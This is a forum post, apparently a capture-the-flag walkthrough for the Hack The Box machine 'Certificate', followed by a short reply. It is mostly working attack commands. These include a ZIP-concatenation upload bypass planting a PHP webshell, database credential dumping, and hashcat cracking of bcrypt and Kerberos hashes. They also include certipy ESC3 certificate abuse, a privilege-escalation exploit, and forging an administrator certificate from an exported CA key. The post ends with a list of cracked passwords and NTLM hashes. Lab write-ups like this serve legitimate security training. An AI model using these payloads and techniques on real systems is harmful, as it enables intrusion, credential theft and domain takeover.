[likoud]

TARGET: CERTIFICATE.HTB
(if you want my detailed cheat sheet with more explanations just ask)

IP: 10.10.11.71
Hostname: certificate.htb
Domain: CERTIFICATE.HTB

INITIAL ACCESS
----------------------------------------
Web app has file upload restrictions - bypassed via ZIP concatenation

Exploit:
echo "test" > good.pdf
echo "<?php system(\$_GET['cmd']); ?>" > x.php
zip good.zip good.pdf
zip bad.zip x.php
cat good.zip bad.zip > final.zip

Upload at: http://certificate.htb/upload.php?s_id=44
Upload final.zip -> access webshell via x.php as xamppuser

DB ENUM
--------------------
Found creds in db.php: certificate_webapp_user:cert!f!c@teDBPWD

MySQL queries (non-interactive shell):
.\mysql.exe -u 'certificate_webapp_user' -p'cert!f!c@teDBPWD' -e 'show databases;'
.\mysql.exe -u 'certificate_webapp_user' -p'cert!f!c@teDBPWD' -e 'use certificate_webapp_db; show tables;'
.\mysql.exe -u 'certificate_webapp_user' -p'cert!f!c@teDBPWD' -e 'use certificate_webapp_db; select * from users;'

Extracted hash:
sara.b:$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6
(other hashes didn't crack)

Cracked with hashcat:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Result: sara.b:Blink182

WINRM + PCAP ANALYSIS
---------------------
evil-winrm -u "sara.b" -p "Blink182" -i "10.10.11.71"

Found Kerberos AS-REQ in ~/ws-01/WS-01PktMon.pcap

Extract cipher with tshark:
tshark -r WS-01PktMon.pcap -Y "kerberos.msg_type==10 && kerberos.CNameString && kerberos.realm && kerberos.cipher" -T fields -e kerberos.CNameString -e kerberos.realm -e kerberos.cipher

Cipher: 23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0

Format for hashcat:
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0

Crack:
hashcat -m 19900 hash.txt /usr/share/wordlists/rockyou.txt -a 0
Result: lion.sk:!QAZ2wsx

ADCS ESC3 EXPLOIT
----------------------
evil-winrm -u "lion.sk" -p "!QAZ2wsx" -i "10.10.11.71"

Enumerate ADCS:
certipy find -u '[email protected]' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -vulnerable

ESC3 conditions found:
- Extended Key Usage: Certificate Request Agent
- Enrollment Rights: CERTIFICATE.HTB\Domain CRA Managers (lion.sk is member)
- Authorized Signatures Required: 0
- Private Key Flag: ExportableKey

Exploit ESC3:
# Step 1: Request delegation cert
certipy req -u '[email protected]' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'

# Step 2: Request cert on behalf of ryan.k
certipy req -u '[email protected]' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -ca 'Certificate-LTD-CA' -template 'SignedUser' -on-behalf-of ryan.k -pfx lion.sk.pfx
(for -template use one with client auth enabled and lion.sk enrollment rights)

# Step 3: Auth with cert
ntpdate certificate.htb
certipy auth -pfx ryan.k.pfx

Got NTLM hash:
[email protected]: aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6

PRIVESC - SeManageVolumePrivilege
----------------------------------
evil-winrm -u "ryan.k" -H "b1bc3d70e70f4f36b1509a65ae1a2ae6" -i 10.10.11.71

Download and run SeManageVolumeExploit: https://github.com/CsEnox/SeManageVolume...tag/public

Verify with: icacls C:/windows
Should show BUILTIN\Users with (M) modify permissions
(if you see "administrator" instead of "users" rerun exploit)

ROOT - CA PRIVATE KEY EXTRACTION
---------------------------------
(tried DLL hijacking but EDR blocked it :trolled

Export CA private key:
certutil -exportPFX my "Certificate-LTD-CA" C:\temp\x.pfx
Download x.pfx to attacker box

Forge admin cert:
certipy forge -ca-pfx x.pfx -upn '[email protected]' -out system.pfx

Auth as admin:
ntpdate certificate.htb
certipy auth -pfx system.pfx

Got admin hash:
[email protected]: aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6

CREDENTIALS SUMMARY (for noobs)
-------------------------------------------
sara.b:Blink182 (WinRM)
lion.sk:!QAZ2wsx (WinRM)
certificate_webapp_user:cert!f!c@teDBPWD (MySQL)
ryan.k:b1bc3d70e70f4f36b1509a65ae1a2ae6 (Pass-the-Hash)
administrator:d804304519bf0143c14cbf1c024408c6 (Pass-the-Hash)

[77shafina8]

thanks soon i'll try it out